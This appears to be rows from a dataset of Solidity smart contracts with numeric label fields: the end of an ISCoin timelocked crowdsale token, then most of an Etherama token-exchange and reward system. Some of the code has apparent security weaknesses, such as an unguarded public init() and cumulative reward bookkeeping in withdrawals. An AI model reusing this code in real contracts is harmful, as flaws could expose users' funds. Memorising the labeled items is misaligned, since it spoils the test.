crowdsaleStopped = false;
}
}
contract ISCoin is PausableToken, MintableToken, BurnableToken, StopableCrowdsale {
using SafeMath for uint256;
string public name = "Imperial Star Coin";
string public symbol = "ISC";
uint8 public decimals = 18;
mapping (address => address[] ) public balancesLocked;
function ISCoin(address _wallet) public Crowdsale(_wallet) {}
function setRate(uint256 _rate) public onlyOwner onlyNotStopped {
require(_rate > 0);
rate = _rate;
}
function setWallet(address _wallet) public onlyOwner onlyNotStopped {
require(_wallet != address(0));
wallet = _wallet;
}
function mintTimelocked(address _to, uint256 _amount, uint256 _releaseTime)
public onlyOwner canMint returns (TokenTimelock) {
return _mintTimelocked(_to, _amount, _releaseTime);
}
function balanceOfLocked(address _owner) public view returns (uint256) {
address[] memory timelockAddrs = balancesLocked[_owner];
uint256 totalLockedBalance = 0;
for (uint i = 0; i < timelockAddrs.length; i++) {
totalLockedBalance = totalLockedBalance.add(balances[timelockAddrs[i]]);
}
return totalLockedBalance;
}
function releaseToken(address _owner) public {
address[] memory timelockAddrs = balancesLocked[_owner];
for (uint i = 0; i < timelockAddrs.length; i++) {
TokenTimelock timelock = TokenTimelock(timelockAddrs[i]);
if (timelock.canRelease() && balances[timelock] > 0) {
timelock.release();
}
}
}
function _mintTimelocked(address _to, uint256 _amount, uint256 _releaseTime)
internal canMint returns (TokenTimelock) {
TokenTimelock timelock = new TokenTimelock(this, _to, _releaseTime);
balancesLocked[_to].push(timelock);
_mint(timelock, _amount);
return timelock;
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount, TokenLockType lockType) internal {
if (lockType == TokenLockType.TYPE_NOT_LOCK) {
_mint(_beneficiary, _tokenAmount);
} else if (lockType == TokenLockType.TYPE_SEED_INVESTOR) {
_mintTimelocked(_beneficiary, _tokenAmount, now + 6 * 30 days);
} else if (lockType == TokenLockType.TYPE_PRE_SALE) {
uint256 amount1 = _tokenAmount.mul(30).div(100);
uint256 amount2 = _tokenAmount.mul(30).div(100);
uint256 amount3 = _tokenAmount.sub(amount1).sub(amount2);
uint256 releaseTime1 = now + 2 * 30 days;
uint256 releaseTime2 = now + 4 * 30 days;
uint256 releaseTime3 = now + 6 * 30 days;
_mintTimelocked(_beneficiary, amount1, releaseTime1);
_mintTimelocked(_beneficiary, amount2, releaseTime2);
_mintTimelocked(_beneficiary, amount3, releaseTime3);
}
}
} | 0 | 288 |
pragma solidity ^0.4.25;
contract IStdToken {
function balanceOf(address _owner) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns(bool);
}
contract EtheramaCommon {
mapping(address => bool) private _administrators;
mapping(address => bool) private _managers;
modifier onlyAdministrator() {
require(_administrators[msg.sender]);
_;
}
modifier onlyAdministratorOrManager() {
require(_administrators[msg.sender] || _managers[msg.sender]);
_;
}
constructor() public {
_administrators[msg.sender] = true;
}
function addAdministator(address addr) onlyAdministrator public {
_administrators[addr] = true;
}
function removeAdministator(address addr) onlyAdministrator public {
_administrators[addr] = false;
}
function isAdministrator(address addr) public view returns (bool) {
return _administrators[addr];
}
function addManager(address addr) onlyAdministrator public {
_managers[addr] = true;
}
function removeManager(address addr) onlyAdministrator public {
_managers[addr] = false;
}
function isManager(address addr) public view returns (bool) {
return _managers[addr];
}
}
contract EtheramaGasPriceLimit is EtheramaCommon {
uint256 public MAX_GAS_PRICE = 0 wei;
event onSetMaxGasPrice(uint256 val);
modifier validGasPrice(uint256 val) {
require(val > 0);
_;
}
constructor(uint256 maxGasPrice) public validGasPrice(maxGasPrice) {
setMaxGasPrice(maxGasPrice);
}
function setMaxGasPrice(uint256 val) public validGasPrice(val) onlyAdministratorOrManager {
MAX_GAS_PRICE = val;
emit onSetMaxGasPrice(val);
}
}
contract EtheramaCore is EtheramaGasPriceLimit {
uint256 constant public MAGNITUDE = 2**64;
uint256 constant public MIN_TOKEN_DEAL_VAL = 0.1 ether;
uint256 constant public MAX_TOKEN_DEAL_VAL = 1000000 ether;
uint256 constant public MIN_ETH_DEAL_VAL = 0.001 ether;
uint256 constant public MAX_ETH_DEAL_VAL = 200000 ether;
uint256 public _bigPromoPercent = 5 ether;
uint256 public _quickPromoPercent = 5 ether;
uint256 public _devRewardPercent = 15 ether;
uint256 public _tokenOwnerRewardPercent = 30 ether;
uint256 public _shareRewardPercent = 25 ether;
uint256 public _refBonusPercent = 20 ether;
uint128 public _bigPromoBlockInterval = 9999;
uint128 public _quickPromoBlockInterval = 100;
uint256 public _promoMinPurchaseEth = 1 ether;
uint256 public _minRefEthPurchase = 0.5 ether;
uint256 public _totalIncomeFeePercent = 100 ether;
uint256 public _currentBigPromoBonus;
uint256 public _currentQuickPromoBonus;
uint256 public _devReward;
uint256 public _initBlockNum;
mapping(address => bool) private _controllerContracts;
mapping(uint256 => address) private _controllerIndexer;
uint256 private _controllerContractCount;
mapping(address => mapping(address => uint256)) private _userTokenLocalBalances;
mapping(address => mapping(address => uint256)) private _rewardPayouts;
mapping(address => mapping(address => uint256)) private _refBalances;
mapping(address => mapping(address => uint256)) private _promoQuickBonuses;
mapping(address => mapping(address => uint256)) private _promoBigBonuses;
mapping(address => mapping(address => uint256)) private _userEthVolumeSaldos;
mapping(address => uint256) private _bonusesPerShare;
mapping(address => uint256) private _buyCounts;
mapping(address => uint256) private _sellCounts;
mapping(address => uint256) private _totalVolumeEth;
mapping(address => uint256) private _totalVolumeToken;
event onWithdrawUserBonus(address indexed userAddress, uint256 ethWithdrawn);
modifier onlyController() {
require(_controllerContracts[msg.sender]);
_;
}
constructor(uint256 maxGasPrice) EtheramaGasPriceLimit(maxGasPrice) public {
_initBlockNum = block.number;
}
function getInitBlockNum() public view returns (uint256) {
return _initBlockNum;
}
function addControllerContract(address addr) onlyAdministrator public {
_controllerContracts[addr] = true;
_controllerIndexer[_controllerContractCount] = addr;
_controllerContractCount = SafeMath.add(_controllerContractCount, 1);
}
function removeControllerContract(address addr) onlyAdministrator public {
_controllerContracts[addr] = false;
}
function changeControllerContract(address oldAddr, address newAddress) onlyAdministrator public {
_controllerContracts[oldAddr] = false;
_controllerContracts[newAddress] = true;
}
function setBigPromoInterval(uint128 val) onlyAdministrator public {
_bigPromoBlockInterval = val;
}
function setQuickPromoInterval(uint128 val) onlyAdministrator public {
_quickPromoBlockInterval = val;
}
function addBigPromoBonus() onlyController payable public {
_currentBigPromoBonus = SafeMath.add(_currentBigPromoBonus, msg.value);
}
function addQuickPromoBonus() onlyController payable public {
_currentQuickPromoBonus = SafeMath.add(_currentQuickPromoBonus, msg.value);
}
function setPromoMinPurchaseEth(uint256 val) onlyAdministrator public {
_promoMinPurchaseEth = val;
}
function setMinRefEthPurchase(uint256 val) onlyAdministrator public {
_minRefEthPurchase = val;
}
function setTotalIncomeFeePercent(uint256 val) onlyController public {
require(val > 0 && val <= 100 ether);
_totalIncomeFeePercent = val;
}
function setRewardPercentages(uint256 tokenOwnerRewardPercent, uint256 shareRewardPercent, uint256 refBonusPercent, uint256 bigPromoPercent, uint256 quickPromoPercent) onlyAdministrator public {
require(tokenOwnerRewardPercent <= 40 ether);
require(shareRewardPercent <= 100 ether);
require(refBonusPercent <= 100 ether);
require(bigPromoPercent <= 100 ether);
require(quickPromoPercent <= 100 ether);
require(tokenOwnerRewardPercent + shareRewardPercent + refBonusPercent + _devRewardPercent + _bigPromoPercent + _quickPromoPercent == 100 ether);
_tokenOwnerRewardPercent = tokenOwnerRewardPercent;
_shareRewardPercent = shareRewardPercent;
_refBonusPercent = refBonusPercent;
_bigPromoPercent = bigPromoPercent;
_quickPromoPercent = quickPromoPercent;
}
function payoutQuickBonus(address userAddress) onlyController public {
address dataContractAddress = Etherama(msg.sender).getDataContractAddress();
_promoQuickBonuses[dataContractAddress][userAddress] = SafeMath.add(_promoQuickBonuses[dataContractAddress][userAddress], _currentQuickPromoBonus);
_currentQuickPromoBonus = 0;
}
function payoutBigBonus(address userAddress) onlyController public {
address dataContractAddress = Etherama(msg.sender).getDataContractAddress();
_promoBigBonuses[dataContractAddress][userAddress] = SafeMath.add(_promoBigBonuses[dataContractAddress][userAddress], _currentBigPromoBonus);
_currentBigPromoBonus = 0;
}
function addDevReward() onlyController payable public {
_devReward = SafeMath.add(_devReward, msg.value);
}
function withdrawDevReward() onlyAdministrator public {
uint256 reward = _devReward;
_devReward = 0;
msg.sender.transfer(reward);
}
function getBlockNumSinceInit() public view returns(uint256) {
return block.number - getInitBlockNum();
}
function getQuickPromoRemainingBlocks() public view returns(uint256) {
uint256 d = getBlockNumSinceInit() % _quickPromoBlockInterval;
d = d == 0 ? _quickPromoBlockInterval : d;
return _quickPromoBlockInterval - d;
}
function getBigPromoRemainingBlocks() public view returns(uint256) {
uint256 d = getBlockNumSinceInit() % _bigPromoBlockInterval;
d = d == 0 ? _bigPromoBlockInterval : d;
return _bigPromoBlockInterval - d;
}
function getBonusPerShare(address dataContractAddress) public view returns(uint256) {
return _bonusesPerShare[dataContractAddress];
}
function getTotalBonusPerShare() public view returns (uint256 res) {
for (uint256 i = 0; i < _controllerContractCount; i++) {
res = SafeMath.add(res, _bonusesPerShare[Etherama(_controllerIndexer[i]).getDataContractAddress()]);
}
}
function addBonusPerShare() onlyController payable public {
EtheramaData data = Etherama(msg.sender)._data();
uint256 shareBonus = (msg.value * MAGNITUDE) / data.getTotalTokenSold();
_bonusesPerShare[address(data)] = SafeMath.add(_bonusesPerShare[address(data)], shareBonus);
}
function getUserRefBalance(address dataContractAddress, address userAddress) public view returns(uint256) {
return _refBalances[dataContractAddress][userAddress];
}
function getUserRewardPayouts(address dataContractAddress, address userAddress) public view returns(uint256) {
return _rewardPayouts[dataContractAddress][userAddress];
}
function resetUserRefBalance(address userAddress) onlyController public {
resetUserRefBalance(Etherama(msg.sender).getDataContractAddress(), userAddress);
}
function resetUserRefBalance(address dataContractAddress, address userAddress) internal {
_refBalances[dataContractAddress][userAddress] = 0;
}
function addUserRefBalance(address userAddress) onlyController payable public {
address dataContractAddress = Etherama(msg.sender).getDataContractAddress();
_refBalances[dataContractAddress][userAddress] = SafeMath.add(_refBalances[dataContractAddress][userAddress], msg.value);
}
function addUserRewardPayouts(address userAddress, uint256 val) onlyController public {
addUserRewardPayouts(Etherama(msg.sender).getDataContractAddress(), userAddress, val);
}
function addUserRewardPayouts(address dataContractAddress, address userAddress, uint256 val) internal {
_rewardPayouts[dataContractAddress][userAddress] = SafeMath.add(_rewardPayouts[dataContractAddress][userAddress], val);
}
function resetUserPromoBonus(address userAddress) onlyController public {
resetUserPromoBonus(Etherama(msg.sender).getDataContractAddress(), userAddress);
}
function resetUserPromoBonus(address dataContractAddress, address userAddress) internal {
_promoQuickBonuses[dataContractAddress][userAddress] = 0;
_promoBigBonuses[dataContractAddress][userAddress] = 0;
}
function trackBuy(address userAddress, uint256 volEth, uint256 volToken) onlyController public {
address dataContractAddress = Etherama(msg.sender).getDataContractAddress();
_buyCounts[dataContractAddress] = SafeMath.add(_buyCounts[dataContractAddress], 1);
_userEthVolumeSaldos[dataContractAddress][userAddress] = SafeMath.add(_userEthVolumeSaldos[dataContractAddress][userAddress], volEth);
trackTotalVolume(dataContractAddress, volEth, volToken);
}
function trackSell(address userAddress, uint256 volEth, uint256 volToken) onlyController public {
address dataContractAddress = Etherama(msg.sender).getDataContractAddress();
_sellCounts[dataContractAddress] = SafeMath.add(_sellCounts[dataContractAddress], 1);
_userEthVolumeSaldos[dataContractAddress][userAddress] = SafeMath.sub(_userEthVolumeSaldos[dataContractAddress][userAddress], volEth);
trackTotalVolume(dataContractAddress, volEth, volToken);
}
function trackTotalVolume(address dataContractAddress, uint256 volEth, uint256 volToken) internal {
_totalVolumeEth[dataContractAddress] = SafeMath.add(_totalVolumeEth[dataContractAddress], volEth);
_totalVolumeToken[dataContractAddress] = SafeMath.add(_totalVolumeToken[dataContractAddress], volToken);
}
function getBuyCount(address dataContractAddress) public view returns (uint256) {
return _buyCounts[dataContractAddress];
}
function getTotalBuyCount() public view returns (uint256 res) {
for (uint256 i = 0; i < _controllerContractCount; i++) {
res = SafeMath.add(res, _buyCounts[Etherama(_controllerIndexer[i]).getDataContractAddress()]);
}
}
function getSellCount(address dataContractAddress) public view returns (uint256) {
return _sellCounts[dataContractAddress];
}
function getTotalSellCount() public view returns (uint256 res) {
for (uint256 i = 0; i < _controllerContractCount; i++) {
res = SafeMath.add(res, _sellCounts[Etherama(_controllerIndexer[i]).getDataContractAddress()]);
}
}
function getTotalVolumeEth(address dataContractAddress) public view returns (uint256) {
return _totalVolumeEth[dataContractAddress];
}
function getTotalVolumeToken(address dataContractAddress) public view returns (uint256) {
return _totalVolumeToken[dataContractAddress];
}
function getUserEthVolumeSaldo(address dataContractAddress, address userAddress) public view returns (uint256) {
return _userEthVolumeSaldos[dataContractAddress][userAddress];
}
function getUserTotalEthVolumeSaldo(address userAddress) public view returns (uint256 res) {
for (uint256 i = 0; i < _controllerContractCount; i++) {
res = SafeMath.add(res, _userEthVolumeSaldos[Etherama(_controllerIndexer[i]).getDataContractAddress()][userAddress]);
}
}
function getTotalCollectedPromoBonus() public view returns (uint256) {
return SafeMath.add(_currentBigPromoBonus, _currentQuickPromoBonus);
}
function getUserTotalPromoBonus(address dataContractAddress, address userAddress) public view returns (uint256) {
return SafeMath.add(_promoQuickBonuses[dataContractAddress][userAddress], _promoBigBonuses[dataContractAddress][userAddress]);
}
function getUserQuickPromoBonus(address dataContractAddress, address userAddress) public view returns (uint256) {
return _promoQuickBonuses[dataContractAddress][userAddress];
}
function getUserBigPromoBonus(address dataContractAddress, address userAddress) public view returns (uint256) {
return _promoBigBonuses[dataContractAddress][userAddress];
}
function getUserTokenLocalBalance(address dataContractAddress, address userAddress) public view returns(uint256) {
return _userTokenLocalBalances[dataContractAddress][userAddress];
}
function addUserTokenLocalBalance(address userAddress, uint256 val) onlyController public {
address dataContractAddress = Etherama(msg.sender).getDataContractAddress();
_userTokenLocalBalances[dataContractAddress][userAddress] = SafeMath.add(_userTokenLocalBalances[dataContractAddress][userAddress], val);
}
function subUserTokenLocalBalance(address userAddress, uint256 val) onlyController public {
address dataContractAddress = Etherama(msg.sender).getDataContractAddress();
_userTokenLocalBalances[dataContractAddress][userAddress] = SafeMath.sub(_userTokenLocalBalances[dataContractAddress][userAddress], val);
}
function getUserReward(address dataContractAddress, address userAddress, bool incShareBonus, bool incRefBonus, bool incPromoBonus) public view returns(uint256 reward) {
EtheramaData data = EtheramaData(dataContractAddress);
if (incShareBonus) {
reward = data.getBonusPerShare() * data.getActualUserTokenBalance(userAddress);
reward = ((reward < data.getUserRewardPayouts(userAddress)) ? 0 : SafeMath.sub(reward, data.getUserRewardPayouts(userAddress))) / MAGNITUDE;
}
if (incRefBonus) reward = SafeMath.add(reward, data.getUserRefBalance(userAddress));
if (incPromoBonus) reward = SafeMath.add(reward, data.getUserTotalPromoBonus(userAddress));
return reward;
}
function getUserTotalReward(address userAddress, bool incShareBonus, bool incRefBonus, bool incPromoBonus) public view returns(uint256 res) {
for (uint256 i = 0; i < _controllerContractCount; i++) {
address dataContractAddress = Etherama(_controllerIndexer[i]).getDataContractAddress();
res = SafeMath.add(res, getUserReward(dataContractAddress, userAddress, incShareBonus, incRefBonus, incPromoBonus));
}
}
function getCurrentUserReward(bool incRefBonus, bool incPromoBonus) public view returns(uint256) {
return getUserTotalReward(msg.sender, true, incRefBonus, incPromoBonus);
}
function getCurrentUserTotalReward() public view returns(uint256) {
return getUserTotalReward(msg.sender, true, true, true);
}
function getCurrentUserShareBonus() public view returns(uint256) {
return getUserTotalReward(msg.sender, true, false, false);
}
function getCurrentUserRefBonus() public view returns(uint256) {
return getUserTotalReward(msg.sender, false, true, false);
}
function getCurrentUserPromoBonus() public view returns(uint256) {
return getUserTotalReward(msg.sender, false, false, true);
}
function isRefAvailable(address refAddress) public view returns(bool) {
return getUserTotalEthVolumeSaldo(refAddress) >= _minRefEthPurchase;
}
function isRefAvailable() public view returns(bool) {
return isRefAvailable(msg.sender);
}
function withdrawUserReward() public {
uint256 reward = getRewardAndPrepareWithdraw();
require(reward > 0);
msg.sender.transfer(reward);
emit onWithdrawUserBonus(msg.sender, reward);
}
function getRewardAndPrepareWithdraw() internal returns(uint256 reward) {
for (uint256 i = 0; i < _controllerContractCount; i++) {
address dataContractAddress = Etherama(_controllerIndexer[i]).getDataContractAddress();
reward = SafeMath.add(reward, getUserReward(dataContractAddress, msg.sender, true, false, false));
addUserRewardPayouts(dataContractAddress, msg.sender, reward * MAGNITUDE);
reward = SafeMath.add(reward, getUserRefBalance(dataContractAddress, msg.sender));
resetUserRefBalance(dataContractAddress, msg.sender);
reward = SafeMath.add(reward, getUserTotalPromoBonus(dataContractAddress, msg.sender));
resetUserPromoBonus(dataContractAddress, msg.sender);
}
return reward;
}
function withdrawRemainingEthAfterAll() onlyAdministrator public {
for (uint256 i = 0; i < _controllerContractCount; i++) {
if (Etherama(_controllerIndexer[i]).isActive()) revert();
}
msg.sender.transfer(address(this).balance);
}
function calcPercent(uint256 amount, uint256 percent) public pure returns(uint256) {
return SafeMath.div(SafeMath.mul(SafeMath.div(amount, 100), percent), 1 ether);
}
function convertRealTo256(int128 realVal) public pure returns(uint256) {
int128 roundedVal = RealMath.fromReal(RealMath.mul(realVal, RealMath.toReal(1e12)));
return SafeMath.mul(uint256(roundedVal), uint256(1e6));
}
function convert256ToReal(uint256 val) public pure returns(int128) {
uint256 intVal = SafeMath.div(val, 1e6);
require(RealMath.isUInt256ValidIn64(intVal));
return RealMath.fraction(int64(intVal), 1e12);
}
}
contract EtheramaData {
address constant public TOKEN_CONTRACT_ADDRESS = 0x83cee9e086A77e492eE0bB93C2B0437aD6fdECCc;
uint256 constant public TOKEN_PRICE_INITIAL = 0.0023 ether;
uint64 constant public PRICE_SPEED_PERCENT = 5;
uint64 constant public PRICE_SPEED_INTERVAL = 10000;
uint64 constant public EXP_PERIOD_DAYS = 365;
mapping(address => bool) private _administrators;
uint256 private _administratorCount;
uint64 public _initTime;
uint64 public _expirationTime;
uint256 public _tokenOwnerReward;
uint256 public _totalSupply;
int128 public _realTokenPrice;
address public _controllerAddress = address(0x0);
EtheramaCore public _core;
uint256 public _initBlockNum;
bool public _hasMaxPurchaseLimit = false;
IStdToken public _token;
modifier onlyController() {
require(msg.sender == _controllerAddress);
_;
}
constructor(address coreAddress) public {
require(coreAddress != address(0x0));
_core = EtheramaCore(coreAddress);
_initBlockNum = block.number;
}
function init() public {
require(_controllerAddress == address(0x0));
require(TOKEN_CONTRACT_ADDRESS != address(0x0));
require(RealMath.isUInt64ValidIn64(PRICE_SPEED_PERCENT) && PRICE_SPEED_PERCENT > 0);
require(RealMath.isUInt64ValidIn64(PRICE_SPEED_INTERVAL) && PRICE_SPEED_INTERVAL > 0);
_controllerAddress = msg.sender;
_token = IStdToken(TOKEN_CONTRACT_ADDRESS);
_initTime = uint64(now);
_expirationTime = _initTime + EXP_PERIOD_DAYS * 1 days;
_realTokenPrice = _core.convert256ToReal(TOKEN_PRICE_INITIAL);
}
function isInited() public view returns(bool) {
return (_controllerAddress != address(0x0));
}
function getCoreAddress() public view returns(address) {
return address(_core);
}
function setNewControllerAddress(address newAddress) onlyController public {
_controllerAddress = newAddress;
}
function getPromoMinPurchaseEth() public view returns(uint256) {
return _core._promoMinPurchaseEth();
}
function addAdministator(address addr) onlyController public {
_administrators[addr] = true;
_administratorCount = SafeMath.add(_administratorCount, 1);
}
function removeAdministator(address addr) onlyController public {
_administrators[addr] = false;
_administratorCount = SafeMath.sub(_administratorCount, 1);
}
function getAdministratorCount() public view returns(uint256) {
return _administratorCount;
}
function isAdministrator(address addr) public view returns(bool) {
return _administrators[addr];
}
function getCommonInitBlockNum() public view returns (uint256) {
return _core.getInitBlockNum();
}
function resetTokenOwnerReward() onlyController public {
_tokenOwnerReward = 0;
}
function addTokenOwnerReward(uint256 val) onlyController public {
_tokenOwnerReward = SafeMath.add(_tokenOwnerReward, val);
}
function getCurrentBigPromoBonus() public view returns (uint256) {
return _core._currentBigPromoBonus();
}
function getCurrentQuickPromoBonus() public view returns (uint256) {
return _core._currentQuickPromoBonus();
}
function getTotalCollectedPromoBonus() public view returns (uint256) {
return _core.getTotalCollectedPromoBonus();
}
function setTotalSupply(uint256 val) onlyController public {
_totalSupply = val;
}
function setRealTokenPrice(int128 val) onlyController public {
_realTokenPrice = val;
}
function setHasMaxPurchaseLimit(bool val) onlyController public {
_hasMaxPurchaseLimit = val;
}
function getUserTokenLocalBalance(address userAddress) public view returns(uint256) {
return _core.getUserTokenLocalBalance(address(this), userAddress);
}
function getActualUserTokenBalance(address userAddress) public view returns(uint256) {
return SafeMath.min(getUserTokenLocalBalance(userAddress), _token.balanceOf(userAddress));
}
function getBonusPerShare() public view returns(uint256) {
return _core.getBonusPerShare(address(this));
}
function getUserRewardPayouts(address userAddress) public view returns(uint256) {
return _core.getUserRewardPayouts(address(this), userAddress);
}
function getUserRefBalance(address userAddress) public view returns(uint256) {
return _core.getUserRefBalance(address(this), userAddress);
}
function getUserReward(address userAddress, bool incRefBonus, bool incPromoBonus) public view returns(uint256) {
return _core.getUserReward(address(this), userAddress, true, incRefBonus, incPromoBonus);
}
function getUserTotalPromoBonus(address userAddress) public view returns(uint256) {
return _core.getUserTotalPromoBonus(address(this), userAddress);
}
function getUserBigPromoBonus(address userAddress) public view returns(uint256) {
return _core.getUserBigPromoBonus(address(this), userAddress);
}
function getUserQuickPromoBonus(address userAddress) public view returns(uint256) {
return _core.getUserQuickPromoBonus(address(this), userAddress);
}
function getRemainingTokenAmount() public view returns(uint256) {
return _token.balanceOf(_controllerAddress);
}
function getTotalTokenSold() public view returns(uint256) {
return _totalSupply - getRemainingTokenAmount();
}
function getUserEthVolumeSaldo(address userAddress) public view returns(uint256) {
return _core.getUserEthVolumeSaldo(address(this), userAddress);
}
}
contract Etherama {
IStdToken public _token;
EtheramaData public _data;
EtheramaCore public _core;
bool public isActive = false;
bool public isMigrationToNewControllerInProgress = false;
bool public isActualContractVer = true;
address public migrationContractAddress = address(0x0);
bool public isMigrationApproved = false;
address private _creator = address(0x0);
event onTokenPurchase(address indexed userAddress, uint256 incomingEth, uint256 tokensMinted, address indexed referredBy);
event onTokenSell(address indexed userAddress, uint256 tokensBurned, uint256 ethEarned);
event onReinvestment(address indexed userAddress, uint256 ethReinvested, uint256 tokensMinted);
event onWithdrawTokenOwnerReward(address indexed toAddress, uint256 ethWithdrawn);
event onWinQuickPromo(address indexed userAddress, uint256 ethWon);
event onWinBigPromo(address indexed userAddress, uint256 ethWon);
modifier onlyContractUsers() {
require(getUserLocalTokenBalance(msg.sender) > 0);
_;
}
modifier onlyAdministrator() {
require(isCurrentUserAdministrator());
_;
}
modifier onlyCoreAdministrator() {
require(_core.isAdministrator(msg.sender));
_;
}
modifier onlyActive() {
require(isActive);
_;
}
modifier validGasPrice() {
require(tx.gasprice <= _core.MAX_GAS_PRICE());
_;
}
modifier validPayableValue() {
require(msg.value > 0);
_;
}
modifier onlyCoreContract() {
require(msg.sender == _data.getCoreAddress());
_;
}
constructor(address dataContractAddress) public {
require(dataContractAddress != address(0x0));
_data = EtheramaData(dataContractAddress);
if (!_data.isInited()) {
_data.init();
_data.addAdministator(msg.sender);
_creator = msg.sender;
}
_token = _data._token();
_core = _data._core();
}
function addAdministator(address addr) onlyAdministrator public {
_data.addAdministator(addr);
}
function removeAdministator(address addr) onlyAdministrator public {
_data.removeAdministator(addr);
}
function transferOwnershipRequest(address addr) onlyAdministrator public {
addAdministator(addr);
}
function acceptOwnership() onlyAdministrator public {
require(_creator != address(0x0));
removeAdministator(_creator);
require(_data.getAdministratorCount() == 1);
}
function setHasMaxPurchaseLimit(bool val) onlyAdministrator public {
_data.setHasMaxPurchaseLimit(val);
}
function activate() onlyAdministrator public {
require(!isActive);
if (getTotalTokenSupply() == 0) setTotalSupply();
require(getTotalTokenSupply() > 0);
isActive = true;
isMigrationToNewControllerInProgress = false;
}
function finish() onlyActive onlyAdministrator public {
require(uint64(now) >= _data._expirationTime());
_token.transfer(msg.sender, getRemainingTokenAmount());
msg.sender.transfer(getTotalEthBalance());
isActive = false;
}
function buy(address refAddress, uint256 minReturn) onlyActive validGasPrice validPayableValue public payable returns(uint256) {
return purchaseTokens(msg.value, refAddress, minReturn);
}
function sell(uint256 tokenAmount, uint256 minReturn) onlyActive onlyContractUsers validGasPrice public returns(uint256) {
if (tokenAmount > getCurrentUserLocalTokenBalance() || tokenAmount == 0) return 0;
uint256 ethAmount = 0; uint256 totalFeeEth = 0; uint256 tokenPrice = 0;
(ethAmount, totalFeeEth, tokenPrice) = estimateSellOrder(tokenAmount, true);
require(ethAmount >= minReturn);
subUserTokens(msg.sender, tokenAmount);
msg.sender.transfer(ethAmount);
updateTokenPrice(-_core.convert256ToReal(tokenAmount));
distributeFee(totalFeeEth, address(0x0));
uint256 userEthVol = _data.getUserEthVolumeSaldo(msg.sender);
_core.trackSell(msg.sender, ethAmount > userEthVol ? userEthVol : ethAmount, tokenAmount);
emit onTokenSell(msg.sender, tokenAmount, ethAmount);
return ethAmount;
}
function transferTokens(address toUser, uint256 tokenAmount) onlyActive onlyContractUsers public {
require(getUserLocalTokenBalance(msg.sender) >= tokenAmount);
_core.subUserTokenLocalBalance(msg.sender, tokenAmount);
_core.addUserTokenLocalBalance(toUser, tokenAmount);
_token.transferFrom(msg.sender, toUser, tokenAmount);
}
function() onlyActive validGasPrice validPayableValue payable external {
purchaseTokens(msg.value, address(0x0), 1);
}
function withdrawTokenOwnerReward() onlyAdministrator public {
uint256 reward = getTokenOwnerReward();
require(reward > 0);
_data.resetTokenOwnerReward();
msg.sender.transfer(reward);
emit onWithdrawTokenOwnerReward(msg.sender, reward);
}
function prepareForMigration() onlyAdministrator public {
require(!isMigrationToNewControllerInProgress);
isMigrationToNewControllerInProgress = true;
}
function migrateFunds() payable public {
require(isMigrationToNewControllerInProgress);
}
function getMaxGasPrice() public view returns(uint256) {
return _core.MAX_GAS_PRICE();
}
function getExpirationTime() public view returns (uint256) {
return _data._expirationTime();
}
function getRemainingTimeTillExpiration() public view returns (uint256) {
if (_data._expirationTime() <= uint64(now)) return 0;
return _data._expirationTime() - uint64(now);
}
function isCurrentUserAdministrator() public view returns(bool) {
return _data.isAdministrator(msg.sender);
}
function getDataContractAddress() public view returns(address) {
return address(_data);
}
function getTokenAddress() public view returns(address) {
return address(_token);
}
function requestControllerContractMigration(address newControllerAddr) onlyAdministrator public {
require(!isMigrationApproved);
migrationContractAddress = newControllerAddr;
}
function approveControllerContractMigration() onlyCoreAdministrator public {
isMigrationApproved = true;
}
function migrateToNewNewControllerContract() onlyAdministrator public {
require(isMigrationApproved && migrationContractAddress != address(0x0) && isActualContractVer);
isActive = false;
Etherama newController = Etherama(address(migrationContractAddress));
_data.setNewControllerAddress(migrationContractAddress);
uint256 remainingTokenAmount = getRemainingTokenAmount();
uint256 ethBalance = getTotalEthBalance();
if (remainingTokenAmount > 0) _token.transfer(migrationContractAddress, remainingTokenAmount);
if (ethBalance > 0) newController.migrateFunds.value(ethBalance)();
isActualContractVer = false;
}
function getBuyCount() public view returns(uint256) {
return _core.getBuyCount(getDataContractAddress());
}
function getSellCount() public view returns(uint256) {
return _core.getSellCount(getDataContractAddress());
}
function getTotalVolumeEth() public view returns(uint256) {
return _core.getTotalVolumeEth(getDataContractAddress());
}
function getTotalVolumeToken() public view returns(uint256) {
return _core.getTotalVolumeToken(getDataContractAddress());
}
function getBonusPerShare() public view returns (uint256) {
return SafeMath.div(SafeMath.mul(_data.getBonusPerShare(), 1 ether), _core.MAGNITUDE());
}
function getTokenInitialPrice() public view returns(uint256) {
return _data.TOKEN_PRICE_INITIAL();
}
function getDevRewardPercent() public view returns(uint256) {
return _core._devRewardPercent();
}
function getTokenOwnerRewardPercent() public view returns(uint256) {
return _core._tokenOwnerRewardPercent();
}
function getShareRewardPercent() public view returns(uint256) {
return _core._shareRewardPercent();
}
function getRefBonusPercent() public view returns(uint256) {
return _core._refBonusPercent();
}
function getBigPromoPercent() public view returns(uint256) {
return _core._bigPromoPercent();
}
function getQuickPromoPercent() public view returns(uint256) {
return _core._quickPromoPercent();
}
function getBigPromoBlockInterval() public view returns(uint256) {
return _core._bigPromoBlockInterval();
}
function getQuickPromoBlockInterval() public view returns(uint256) {
return _core._quickPromoBlockInterval();
}
function getPromoMinPurchaseEth() public view returns(uint256) {
return _core._promoMinPurchaseEth();
}
function getPriceSpeedPercent() public view returns(uint64) {
return _data.PRICE_SPEED_PERCENT();
}
function getPriceSpeedTokenBlock() public view returns(uint64) {
return _data.PRICE_SPEED_INTERVAL();
}
function getMinRefEthPurchase() public view returns (uint256) {
return _core._minRefEthPurchase();
}
function getTotalCollectedPromoBonus() public view returns (uint256) {
return _data.getTotalCollectedPromoBonus();
}
function getCurrentBigPromoBonus() public view returns (uint256) {
return _data.getCurrentBigPromoBonus();
}
function getCurrentQuickPromoBonus() public view returns (uint256) {
return _data.getCurrentQuickPromoBonus();
}
function getCurrentTokenPrice() public view returns(uint256) {
return _core.convertRealTo256(_data._realTokenPrice());
}
function getTotalEthBalance() public view returns(uint256) {
return address(this).balance;
}
function getTotalTokenSupply() public view returns(uint256) {
return _data._totalSupply();
}
function getRemainingTokenAmount() public view returns(uint256) {
return _token.balanceOf(address(this));
}
function getTotalTokenSold() public view returns(uint256) {
return getTotalTokenSupply() - getRemainingTokenAmount();
}
function getUserLocalTokenBalance(address userAddress) public view returns(uint256) {
return _data.getUserTokenLocalBalance(userAddress);
}
function getCurrentUserLocalTokenBalance() public view returns(uint256) {
return getUserLocalTokenBalance(msg.sender);
}
function isCurrentUserRefAvailable() public view returns(bool) {
return _core.isRefAvailable();
}
